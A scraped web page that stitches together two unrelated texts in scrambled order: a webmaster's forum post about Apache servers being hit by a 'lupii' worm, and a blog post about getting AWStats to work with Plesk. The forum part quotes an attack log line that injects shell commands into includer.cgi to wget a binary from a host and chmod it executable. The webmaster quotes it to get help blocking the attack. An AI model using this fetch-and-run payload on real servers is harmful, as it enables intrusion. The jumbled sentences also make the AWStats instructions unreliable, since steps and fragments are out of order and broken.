![]() Your thoughts, please?Ī.) Because there's more than one directory involved in the attacks, the following (akin to nf's. Anyway.)Ĥ.) Not being root, I won't have the luxury of testing tweaks until I find one that works. If yes, could someone please tell me precisely where/how so I can pass along the info? (The firewall kills nimda/Code Red, but this exploit is new and also involves many more file requests. Is it possible to block attacks/file requests via nf (Apache 1.3.X)? However, I'd prefer to lock them out *before* they reach every single site. IP.address.here¦ HTTP/1.1" 302 237 "-" "Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 )"ģ.) I'm a Web geek not a SysAdmin so I know I can rewrite the 'bad' file requests to 403/Forbidden. IP.address.here/lupii chmod$IFS+x$IFS`echo$IFS"$IFS"`lupii. "GET /cgi-bin/includer.cgi?¦cd$IFS/tmp wget$IFS`echo$IFS"$IFS"` Here's just one of 33 similar lines from a single attack broken up at the IP to prevent side-scroll: And because of all the code spewed by each attack - up to a WHOPPING 9300 characters+spaces and 99 lines in mere seconds for each IP! - the scores and scores of complex hits are blowing up every site's access, error and rewrite logs. Here are the directories/files most frequently looked for in every all-in-one attack we're seeing:Ģ.) We don't run PHP or AWStats or any of the above scripts so every single hit rewrites to a custom error page. This thing makes the occasional FormMail exploit look like a flea on an elephant's rump. You will have to insert it in your crontab (it needs to be the crontab of a user that has write access to the directories where you are saving you reports).1.) After weeks of relative calm, we're suddenly getting hammered again server-wide by what SANS terms: If thenĮxec /usr/bin/awstats_ now -configdir="/etc/awstats" -awstatsprog="/var/now -configdir="/usr/local/psa/etc/awstats" -awstatsprog="/var/This one (adapt the domains) is what I'm using:ĭomains_to_process=("" "" "" doĪwstats_ -config=$/statistics/webstat -awstatsprog=/var/www/awstats/ I'm using this slightly modified version of the script included with awstats (it's in /etc/cron.daily/00awstats in my system): If you have domains that you do not manage with Plesk in your server (I do have some of them, for non profit organisations), you can mimic the plesk scripts with a couple of scripts.įirst, you need to have the log file processing enabled in your crontab. If you update your domain aliases you will have to update them in the configuration file by hand. Sidenote: the awstats configuration files are not updated (apparently) when you update the domain aliases. If it works, then run the Plesk program that generates statistics, to make sure that everything is fine: usr/bin/awstats_ now -confdir="/usr/local/psa/etc" -awstatsprog="/var/www/awstats/" ![]() To find where your awstats has installed the files.Īfter doing that, to test if you are going in the right direction, try to run: usr/local/psa/etc/awstats/ (in my system the configuration files were in /etc/awstats and had a different name pattern) var/share/awstats/ with the awstats *.pl files (in my system they were in /usr/bin) var/www/cgi-bin/awstats (in my system I had /var/www/awstats) You will have to create symbolic links to the files. Here are the steps to solve the problem(s). That, at least in my case, was not the one that I had with my normal RPM installation on Centos. The most important point is having the directory layout that Plesk expects. Trying to have awstats working with Plesk is not too easy - it took me a few hours. It took me some time, but I managed to configure Plesk with Awstats and now I tought that it would have been good to share my results.
0 Comments
Leave a Reply. |